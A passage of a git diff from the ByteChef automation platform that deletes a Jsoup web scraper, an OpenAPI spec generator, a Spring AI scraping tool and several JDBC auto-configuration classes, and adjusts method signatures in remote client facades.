-
-        return response.body();
-    }
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/JsoupWebScrapeService.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/JsoupWebScrapeService.java
deleted file mode 100644
index d013b21d197..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/JsoupWebScrapeService.java
+++ /dev/null
@@ -1,249 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.service;
-
-import com.bytechef.platform.annotation.ConditionalOnEEVersion;
-import java.io.IOException;
-import java.net.URI;
-import java.net.http.HttpClient;
-import java.net.http.HttpRequest;
-import java.net.http.HttpResponse;
-import java.time.Duration;
-import java.util.ArrayList;
-import java.util.HashSet;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Queue;
-import java.util.Set;
-import java.util.regex.Pattern;
-import org.jsoup.Jsoup;
-import org.jsoup.nodes.Document;
-import org.jsoup.nodes.Element;
-import org.jsoup.select.Elements;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
-import org.springframework.stereotype.Service;
-
-/**
- * Jsoup-based implementation of WebScrapeService. Used as fallback when Firecrawl is not configured.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-@Service
-@ConditionalOnEEVersion
-@ConditionalOnMissingBean(name = "firecrawlWebScrapeService")
-public class JsoupWebScrapeService implements WebScrapeService {
-
-    private static final Logger logger = LoggerFactory.getLogger(JsoupWebScrapeService.class);
-
-    private static final int DEFAULT_TIMEOUT_SECONDS = 30;
-    private static final int DEFAULT_MAX_CRAWL_PAGES = 20;
-
-    private final HttpClient httpClient;
-
-    public JsoupWebScrapeService() {
-        this.httpClient = HttpClient.newBuilder()
-            .connectTimeout(Duration.ofSeconds(DEFAULT_TIMEOUT_SECONDS))
-            .followRedirects(HttpClient.Redirect.NORMAL)
-            .build();
-    }
-
-    @Override
-    public ScrapeResult scrape(String url) {
-        try {
-            String content = fetchAndParse(url);
-
-            return ScrapeResult.success(content);
-        } catch (Exception exception) {
-            logger.error("Failed to scrape URL: {}", url, exception);
-
-            return ScrapeResult.failure(exception.getMessage());
-        }
-    }
-
-    @Override
-    public CrawlResult crawl(String url, int maxPages, List<String> includePatterns) {
-        int effectiveMaxPages = maxPages > 0 ? Math.min(maxPages, DEFAULT_MAX_CRAWL_PAGES) : DEFAULT_MAX_CRAWL_PAGES;
-
-        try {
-            URI baseUri = URI.create(url);
-            String baseHost = baseUri.getHost();
-
-            List<Pattern> patterns = includePatterns.stream()
-                .map(JsoupWebScrapeService::convertGlobToRegex)
-                .toList();
-
-            Set<String> visited = new HashSet<>();
-            List<String> crawledUrls = new ArrayList<>();
-            StringBuilder combinedContent = new StringBuilder();
-
-            Queue<String> queue = new LinkedList<>();
-
-            queue.add(url);
-
-            while (!queue.isEmpty() && crawledUrls.size() < effectiveMaxPages) {
-                String currentUrl = queue.poll();
-
-                if (visited.contains(currentUrl)) {
-                    continue;
-                }
-
-                visited.add(currentUrl);
-
-                try {
-                    String content = fetchAndParseWithLinks(currentUrl, baseHost, patterns, queue, visited);
-
-                    if (content != null && !content.isBlank()) {
-                        crawledUrls.add(currentUrl);
-                        combinedContent.append("\n\n--- Page: ")
-                            .append(currentUrl)
-                            .append(" ---\n\n")
-                            .append(content);
-                    }
-                } catch (Exception exception) {
-                    logger.warn("Failed to crawl URL: {}", currentUrl, exception);
-                }
-            }
-
-            return CrawlResult.success(combinedContent.toString(), crawledUrls);
-        } catch (Exception exception) {
-            logger.error("Failed to crawl starting from URL: {}", url, exception);
-
-            return CrawlResult.failure(exception.getMessage());
-        }
-    }
-
-    @Override
-    public String getProviderName() {
-        return "jsoup";
-    }
-
-    private static Pattern convertGlobToRegex(String glob) {
-        StringBuilder regex = new StringBuilder();
-
-        for (int i = 0; i < glob.length(); i++) {
-            char c = glob.charAt(i);
-
-            switch (c) {
-                case '*':
-                    regex.append(".*");
-
-                    break;
-                case '?':
-                    regex.append(".");
-
-                    break;
-                case '.':
-                case '(':
-                case ')':
-                case '+':
-                case '|':
-                case '^':
-                case '$':
-                case '@':
-                case '%':
-                case '{':
-                case '}':
-                case '[':
-                case ']':
-                case '\\':
-                    regex.append("\\");
-                    regex.append(c);
-
-                    break;
-                default:
-                    regex.append(c);
-            }
-        }
-
-        return Pattern.compile(regex.toString());
-    }
-
-    private String fetchAndParse(String url) throws IOException, InterruptedException {
-        HttpRequest request = HttpRequest.newBuilder()
-            .uri(URI.create(url))
-            .timeout(Duration.ofSeconds(DEFAULT_TIMEOUT_SECONDS))
-            .header("User-Agent", "ByteChef Web Scraper")
-            .header("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
-            .GET()
-            .build();
-
-        HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
-
-        if (response.statusCode() != 200) {
-            throw new IOException("HTTP " + response.statusCode());
-        }
-
-        Document document = Jsoup.parse(response.body());
-
-        document.select("script, style, nav, footer, header, aside, noscript, iframe")
-            .remove();
-
-        return document.body()
-            .text();
-    }
-
-    private String fetchAndParseWithLinks(
-        String url, String baseHost, List<Pattern> patterns, Queue<String> queue, Set<String> visited)
-        throws IOException, InterruptedException {
-
-        HttpRequest request = HttpRequest.newBuilder()
-            .uri(URI.create(url))
-            .timeout(Duration.ofSeconds(DEFAULT_TIMEOUT_SECONDS))
-            .header("User-Agent", "ByteChef Web Scraper")
-            .header("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
-            .GET()
-            .build();
-
-        HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
-
-        if (response.statusCode() != 200) {
-            throw new IOException("HTTP " + response.statusCode());
-        }
-
-        Document document = Jsoup.parse(response.body(), url);
-
-        Elements links = document.select("a[href]");
-
-        for (Element link : links) {
-            String href = link.absUrl("href");
-
-            if (href.isEmpty() || visited.contains(href)) {
-                continue;
-            }
-
-            try {
-                URI linkUri = URI.create(href);
-
-                if (!baseHost.equals(linkUri.getHost())) {
-                    continue;
-                }
-
-                boolean matchesPattern = patterns.isEmpty() ||
-                    patterns.stream()
-                        .anyMatch(pattern -> pattern.matcher(href)
-                            .matches());
-
-                if (matchesPattern) {
-                    queue.add(href);
-                }
-            } catch (Exception exception) {
-                logger.debug("Invalid URL: {}", href);
-            }
-        }
-
-        document.select("script, style, nav, footer, header, aside, noscript, iframe")
-            .remove();
-
-        return document.body()
-            .text();
-    }
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/OpenApiSpecificationGenerator.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/OpenApiSpecificationGenerator.java
deleted file mode 100644
index f491be455b7..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/OpenApiSpecificationGenerator.java
+++ /dev/null
@@ -1,261 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.service;
-
-import com.bytechef.ee.platform.apiconnector.configuration.dto.EndpointDefinitionDTO;
-import com.bytechef.ee.platform.apiconnector.configuration.dto.GenerateSpecificationRequestDTO;
-import com.bytechef.ee.platform.apiconnector.configuration.dto.ParameterDefinitionDTO;
-import com.bytechef.ee.platform.apiconnector.configuration.dto.RequestBodyDefinitionDTO;
-import com.bytechef.ee.platform.apiconnector.configuration.dto.ResponseDefinitionDTO;
-import com.bytechef.platform.annotation.ConditionalOnEEVersion;
-import com.fasterxml.jackson.core.JsonProcessingException;
-import com.fasterxml.jackson.databind.JsonNode;
-import com.fasterxml.jackson.databind.ObjectMapper;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.LinkedHashMap;
-import java.util.List;
-import java.util.Map;
-import org.springframework.stereotype.Service;
-import org.yaml.snakeyaml.DumperOptions;
-import org.yaml.snakeyaml.Yaml;
-
-/**
- * Service for generating OpenAPI specifications from endpoint definitions.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-@Service
-@ConditionalOnEEVersion
-public class OpenApiSpecificationGenerator {
-
-    private final ObjectMapper objectMapper;
-
-    @SuppressFBWarnings("EI")
-    public OpenApiSpecificationGenerator(ObjectMapper objectMapper) {
-        this.objectMapper = objectMapper;
-    }
-
-    public String generate(GenerateSpecificationRequestDTO request) {
-        Map<String, Object> spec = new LinkedHashMap<>();
-
-        spec.put("openapi", "3.0.0");
-
-        Map<String, Object> info = new LinkedHashMap<>();
-
-        info.put("title", request.name());
-        info.put("version", "1.0.0");
-
-        spec.put("info", info);
-
-        if (request.baseUrl() != null && !request.baseUrl()
-            .isEmpty()) {
-            Map<String, Object> server = new LinkedHashMap<>();
-
-            server.put("url", request.baseUrl());
-
-            spec.put("servers", List.of(server));
-        }
-
-        Map<String, Map<String, Object>> paths = new LinkedHashMap<>();
-
-        if (request.endpoints() != null) {
-            for (EndpointDefinitionDTO endpoint : request.endpoints()) {
-                String path = endpoint.path();
-                String method = endpoint.httpMethod()
-                    .toLowerCase();
-
-                Map<String, Object> pathItem = paths.computeIfAbsent(path, pathKey -> new LinkedHashMap<>());
-
-                Map<String, Object> operation = buildOperation(endpoint);
-
-                pathItem.put(method, operation);
-            }
-        }
-
-        spec.put("paths", paths);
-
-        return toYaml(spec);
-    }
-
-    private Map<String, Object> buildOperation(EndpointDefinitionDTO endpoint) {
-        Map<String, Object> operation = new LinkedHashMap<>();
-
-        operation.put("operationId", endpoint.operationId());
-
-        if (endpoint.summary() != null && !endpoint.summary()
-            .isEmpty()) {
-            operation.put("summary", endpoint.summary());
-        }
-
-        if (endpoint.description() != null && !endpoint.description()
-            .isEmpty()) {
-            operation.put("description", endpoint.description());
-        }
-
-        List<ParameterDefinitionDTO> parameters = endpoint.parameters();
-
-        if (parameters != null && !parameters.isEmpty()) {
-            operation.put("parameters", buildParameters(parameters));
-        }
-
-        RequestBodyDefinitionDTO requestBody = endpoint.requestBody();
-
-        if (requestBody != null) {
-            operation.put("requestBody", buildRequestBody(requestBody));
-        }
-
-        Map<String, Object> responses = buildResponses(endpoint.responses());
-
-        operation.put("responses", responses);
-
-        return operation;
-    }
-
-    private List<Map<String, Object>> buildParameters(List<ParameterDefinitionDTO> parameters) {
-        return parameters.stream()
-            .map(param -> {
-                Map<String, Object> paramMap = new LinkedHashMap<>();
-
-                paramMap.put("name", param.name());
-                paramMap.put("in", param.in());
-
-                if (param.description() != null && !param.description()
-                    .isEmpty()) {
-                    paramMap.put("description", param.description());
-                }
-
-                if (param.required() != null && param.required()) {
-                    paramMap.put("required", true);
-                }
-
-                Map<String, Object> schema = new LinkedHashMap<>();
-
-                schema.put("type", param.type());
-
-                paramMap.put("schema", schema);
-
-                if (param.example() != null && !param.example()
-                    .isEmpty()) {
-                    paramMap.put("example", param.example());
-                }
-
-                return paramMap;
-            })
-            .toList();
-    }
-
-    private Map<String, Object> buildRequestBody(RequestBodyDefinitionDTO requestBody) {
-        Map<String, Object> requestBodyMap = new LinkedHashMap<>();
-
-        if (requestBody.description() != null && !requestBody.description()
-            .isEmpty()) {
-            requestBodyMap.put("description", requestBody.description());
-        }
-
-        if (requestBody.required() != null && requestBody.required()) {
-            requestBodyMap.put("required", true);
-        }
-
-        Map<String, Object> content = new LinkedHashMap<>();
-        Map<String, Object> mediaType = new LinkedHashMap<>();
-
-        String schemaString = requestBody.schema();
-
-        if (schemaString != null && !schemaString.isEmpty()) {
-            try {
-                JsonNode schemaNode = objectMapper.readTree(schemaString);
-
-                mediaType.put("schema", objectMapper.convertValue(schemaNode, Map.class));
-            } catch (JsonProcessingException e) {
-                Map<String, Object> fallbackSchema = new LinkedHashMap<>();
-
-                fallbackSchema.put("type", "object");
-
-                mediaType.put("schema", fallbackSchema);
-            }
-        } else {
-            Map<String, Object> emptySchema = new LinkedHashMap<>();
-
-            emptySchema.put("type", "object");
-
-            mediaType.put("schema", emptySchema);
-        }
-
-        content.put(requestBody.contentType(), mediaType);
-
-        requestBodyMap.put("content", content);
-
-        return requestBodyMap;
-    }
-
-    private Map<String, Object> buildResponses(List<ResponseDefinitionDTO> responses) {
-        Map<String, Object> responsesMap = new LinkedHashMap<>();
-
-        if (responses == null || responses.isEmpty()) {
-            Map<String, Object> defaultResponse = new LinkedHashMap<>();
-
-            defaultResponse.put("description", "Successful response");
-
-            responsesMap.put("200", defaultResponse);
-
-            return responsesMap;
-        }
-
-        for (ResponseDefinitionDTO response : responses) {
-            Map<String, Object> responseMap = new LinkedHashMap<>();
-
-            responseMap.put("description", response.description());
-
-            if (response.contentType() != null && !response.contentType()
-                .isEmpty()) {
-                Map<String, Object> content = new LinkedHashMap<>();
-                Map<String, Object> mediaType = new LinkedHashMap<>();
-
-                String schemaString = response.schema();
-
-                if (schemaString != null && !schemaString.isEmpty()) {
-                    try {
-                        JsonNode schemaNode = objectMapper.readTree(schemaString);
-
-                        mediaType.put("schema", objectMapper.convertValue(schemaNode, Map.class));
-                    } catch (JsonProcessingException e) {
-                        Map<String, Object> fallbackSchema = new LinkedHashMap<>();
-
-                        fallbackSchema.put("type", "object");
-
-                        mediaType.put("schema", fallbackSchema);
-                    }
-                }
-
-                content.put(response.contentType(), mediaType);
-
-                responseMap.put("content", content);
-            }
-
-            responsesMap.put(response.statusCode(), responseMap);
-        }
-
-        return responsesMap;
-    }
-
-    private String toYaml(Map<String, Object> spec) {
-        DumperOptions options = new DumperOptions();
-
-        options.setDefaultFlowStyle(DumperOptions.FlowStyle.BLOCK);
-        options.setPrettyFlow(true);
-        options.setIndent(2);
-        options.setIndicatorIndent(2);
-        options.setIndentWithIndicator(true);
-
-        Yaml yaml = new Yaml(options);
-
-        return yaml.dump(spec);
-    }
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/WebScrapeTool.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/WebScrapeTool.java
deleted file mode 100644
index 0b7c58a09b7..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/WebScrapeTool.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.service;
-
-import com.bytechef.ee.platform.apiconnector.configuration.service.WebScrapeService.CrawlResult;
-import com.bytechef.ee.platform.apiconnector.configuration.service.WebScrapeService.ScrapeResult;
-import com.bytechef.platform.annotation.ConditionalOnEEVersion;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import java.util.function.Function;
-import org.springframework.context.annotation.Description;
-import org.springframework.stereotype.Component;
-
-/**
- * Spring AI tool for web scraping. Allows LLM to scrape web pages for documentation analysis.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-@Component
-@ConditionalOnEEVersion
-@Description("Scrape content from web pages. Use 'scrape' mode for single pages or 'crawl' mode for multiple linked pages.")
-public class WebScrapeTool implements Function<WebScrapeTool.ScrapeRequest, WebScrapeTool.ScrapeResponse> {
-
-    private final WebScrapeService webScrapeService;
-
-    public WebScrapeTool(WebScrapeService webScrapeService) {
-        this.webScrapeService = webScrapeService;
-    }
-
-    @Override
-    public ScrapeResponse apply(ScrapeRequest request) {
-        if (request.mode() == ScrapeMode.CRAWL) {
-            CrawlResult result = webScrapeService.crawl(
-                request.url(),
-                request.maxPages() != null ? request.maxPages() : 10,
-                request.includePatterns() != null ? request.includePatterns() : List.of());
-
-            return new ScrapeResponse(
-                result.success(),
-                result.content(),
-                result.crawledUrls(),
-                webScrapeService.getProviderName(),
-                result.error());
-        } else {
-            ScrapeResult result = webScrapeService.scrape(request.url());
-
-            return new ScrapeResponse(
-                result.success(),
-                result.content(),
-                List.of(request.url()),
-                webScrapeService.getProviderName(),
-                result.error());
-        }
-    }
-
-    public enum ScrapeMode {
-
-        SCRAPE, CRAWL
-    }
-
-    @SuppressFBWarnings("EI")
-    public record ScrapeRequest(
-        String url,
-        ScrapeMode mode,
-        Integer maxPages,
-        List<String> includePatterns) {
-
-        public ScrapeRequest(String url) {
-            this(url, ScrapeMode.SCRAPE, null, null);
-        }
-    }
-
-    @SuppressFBWarnings("EI")
-    public record ScrapeResponse(
-        boolean success,
-        String content,
-        List<String> crawledUrls,
-        String provider,
-        String error) {
-    }
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index e882d6a78de..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.ee.platform.apiconnector.configuration.config.PlatformApiConnectorJdbcRepositoryConfiguration
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/resources/libs/component-api-1.0.jar b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/resources/libs/component-api-1.0.jar
index a4dfc0e6067..3569cdd6180 100644
Binary files a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/resources/libs/component-api-1.0.jar and b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/resources/libs/component-api-1.0.jar differ
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/resources/libs/definition-api-1.0.jar b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/resources/libs/definition-api-1.0.jar
index af1a01b0964..87bb532012c 100644
Binary files a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/resources/libs/definition-api-1.0.jar and b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/resources/libs/definition-api-1.0.jar differ
diff --git a/server/ee/libs/platform/platform-audit/platform-audit-service/src/main/java/com/bytechef/ee/platform/audit/config/PlatformAuditJdbcRepositoryConfiguration.java b/server/ee/libs/platform/platform-audit/platform-audit-service/src/main/java/com/bytechef/ee/platform/audit/config/PlatformAuditJdbcRepositoryConfiguration.java
deleted file mode 100644
index 86a676ebf43..00000000000
--- a/server/ee/libs/platform/platform-audit/platform-audit-service/src/main/java/com/bytechef/ee/platform/audit/config/PlatformAuditJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.platform.audit.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.ee.platform.audit.repository")
-class PlatformAuditJdbcRepositoryConfiguration {
-}
diff --git a/server/ee/libs/platform/platform-audit/platform-audit-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/ee/libs/platform/platform-audit/platform-audit-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index 4928cf6dc84..00000000000
--- a/server/ee/libs/platform/platform-audit/platform-audit-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.ee.platform.audit.config.PlatformAuditJdbcRepositoryConfiguration
diff --git a/server/ee/libs/platform/platform-code-workflow/platform-code-workflow-configuration/platform-code-workflow-configuration-service/build.gradle.kts b/server/ee/libs/platform/platform-code-workflow/platform-code-workflow-configuration/platform-code-workflow-configuration-service/build.gradle.kts
index c5c5a8726d1..fe0ad89036f 100644
--- a/server/ee/libs/platform/platform-code-workflow/platform-code-workflow-configuration/platform-code-workflow-configuration-service/build.gradle.kts
+++ b/server/ee/libs/platform/platform-code-workflow/platform-code-workflow-configuration/platform-code-workflow-configuration-service/build.gradle.kts
@@ -1,6 +1,5 @@
 dependencies {
     implementation("org.apache.commons:commons-lang3")
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
     implementation("org.springframework:spring-context")
     implementation("org.springframework.data:spring-data-jdbc")
     implementation(project(":server:libs:atlas:atlas-configuration:atlas-configuration-repository:atlas-configuration-repository-api"))
diff --git a/server/ee/libs/platform/platform-code-workflow/platform-code-workflow-configuration/platform-code-workflow-configuration-service/src/main/java/com/bytechef/ee/platform/codeworkflow/configuration/config/PlatformCodeWorkflowJdbcRepositoryConfiguration.java b/server/ee/libs/platform/platform-code-workflow/platform-code-workflow-configuration/platform-code-workflow-configuration-service/src/main/java/com/bytechef/ee/platform/codeworkflow/configuration/config/PlatformCodeWorkflowJdbcRepositoryConfiguration.java
deleted file mode 100644
index 478aade29ab..00000000000
--- a/server/ee/libs/platform/platform-code-workflow/platform-code-workflow-configuration/platform-code-workflow-configuration-service/src/main/java/com/bytechef/ee/platform/codeworkflow/configuration/config/PlatformCodeWorkflowJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.platform.codeworkflow.configuration.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.ee.platform.codeworkflow.configuration.repository")
-class PlatformCodeWorkflowJdbcRepositoryConfiguration {
-}
diff --git a/server/ee/libs/platform/platform-code-workflow/platform-code-workflow-configuration/platform-code-workflow-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/ee/libs/platform/platform-code-workflow/platform-code-workflow-configuration/platform-code-workflow-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index 81496116f16..00000000000
--- a/server/ee/libs/platform/platform-code-workflow/platform-code-workflow-configuration/platform-code-workflow-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.ee.platform.codeworkflow.configuration.config.PlatformCodeWorkflowJdbcRepositoryConfiguration
diff --git a/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/facade/RemoteClusterElementDefinitionFacadeClient.java b/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/facade/RemoteClusterElementDefinitionFacadeClient.java
index 34aa3eca520..1f2abbb691d 100644
--- a/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/facade/RemoteClusterElementDefinitionFacadeClient.java
+++ b/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/facade/RemoteClusterElementDefinitionFacadeClient.java
@@ -34,9 +34,8 @@ public List<Property> executeDynamicProperties(
     @Override
     public List<Option> executeOptions(
         String componentName, int componentVersion, String actionName, String propertyName,
-        Map<String, ?> inputParameters, Map<String, ?> extensions, List<String> lookupDependsOnPaths,
-        String searchText, @Nullable Long connectionId, Map<String, Long> clusterElementConnectionIds,
-        Map<String, Map<String, ?>> clusterElementInputParameters) {
+        Map<String, ?> inputParameters, List<String> lookupDependsOnPaths, String searchText,
+        @Nullable Long connectionId) {
 
         throw new UnsupportedOperationException();
     }
diff --git a/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/facade/RemoteTriggerDefinitionFacadeClient.java b/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/facade/RemoteTriggerDefinitionFacadeClient.java
index f327e73ded8..0534119bb39 100644
--- a/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/facade/RemoteTriggerDefinitionFacadeClient.java
+++ b/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/facade/RemoteTriggerDefinitionFacadeClient.java
@@ -148,15 +148,15 @@ public void executeWebhookDisable(
     @Override
     public WebhookEnableOutput executeWebhookEnable(
         String componentName, int componentVersion, String triggerName,
-        Map<String, ?> inputParameters, String workflowExecutionId, Long connectionId, String webhookUrl,
-        long environmentId) {
+        Map<String, ?> inputParameters, String workflowExecutionId, Long connectionId,
+        String webhookUrl) {
 
         return defaultRestClient.post(
             uriBuilder -> toUri(
                 uriBuilder, componentName, TRIGGER_DEFINITION_FACADE + "/execute-webhook-enable"),
             new DynamicWebhookEnableRequest(
                 componentName, componentVersion, triggerName, inputParameters, workflowExecutionId, connectionId,
-                webhookUrl, environmentId),
+                webhookUrl),
             WebhookEnableOutput.class);
     }
 
@@ -204,7 +204,7 @@ private record DynamicWebhookDisableRequest(
 
     private record DynamicWebhookEnableRequest(
         String componentName, int componentVersion, String triggerName, Map<String, ?> inputParameters,
-        String workflowExecutionId, Long connectionId, String webhookUrl, long environmentId) {
+        String workflowExecutionId, Long connectionId, String webhookUrl) {
     }
 
     private record DynamicWebhookRefresh(
diff --git a/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/service/RemoteActionDefinitionServiceClient.java b/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/service/RemoteActionDefinitionServiceClient.java
index 9e8b3bca23b..c89995f65b4 100644
--- a/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/service/RemoteActionDefinitionServiceClient.java
+++ b/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/service/RemoteActionDefinitionServiceClient.java
@@ -81,15 +81,14 @@ public Object executePerform(
     @Override
     public Object executePerformForPolyglot(
         String componentName, int componentVersion, String actionName, Map<String, ?> inputParameters,
-        ComponentConnection componentConnection, Long environmentId, ActionContext context) {
+        ComponentConnection componentConnection, Long environmentId, ActionContext actionContext) {
 
         throw new UnsupportedOperationException();
     }
 
     @Override
     public ProviderException executeProcessErrorResponse(
-        String componentName, int componentVersion, int connectionVersion, String componentOperationName,
-        int statusCode, Object body) {
+        String componentName, int componentVersion, String componentOperationName, int statusCode, Object body) {
 
         throw new UnsupportedOperationException();
     }
